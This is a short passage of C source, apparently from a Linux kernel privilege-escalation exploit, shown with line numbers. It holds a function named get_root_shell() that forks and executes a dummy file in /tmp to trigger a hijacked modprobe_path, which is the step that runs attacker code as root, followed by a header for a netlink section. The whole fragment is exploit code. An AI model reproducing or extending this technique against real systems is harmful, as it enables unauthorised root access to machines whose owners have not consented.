get_root_shell(): Trigger a call to the new modprobe_path
| 349 | |
| 350 | // get_root_shell(): Trigger a call to the new modprobe_path |
| 351 | void get_root_shell(void) { |
| 352 | int pid = fork(); |
| 353 | if (pid == 0) |
| 354 | execve("/tmp/dummy", NULL, NULL); |
| 355 | |
| 356 | waitpid(pid, NULL, 0); |
| 357 | sem_post(shell_barrier); |
| 358 | } |
| 359 | |
| 360 | // ---------------------------------- netlink -------------------------------------- |
| 361 | // Netlink messages |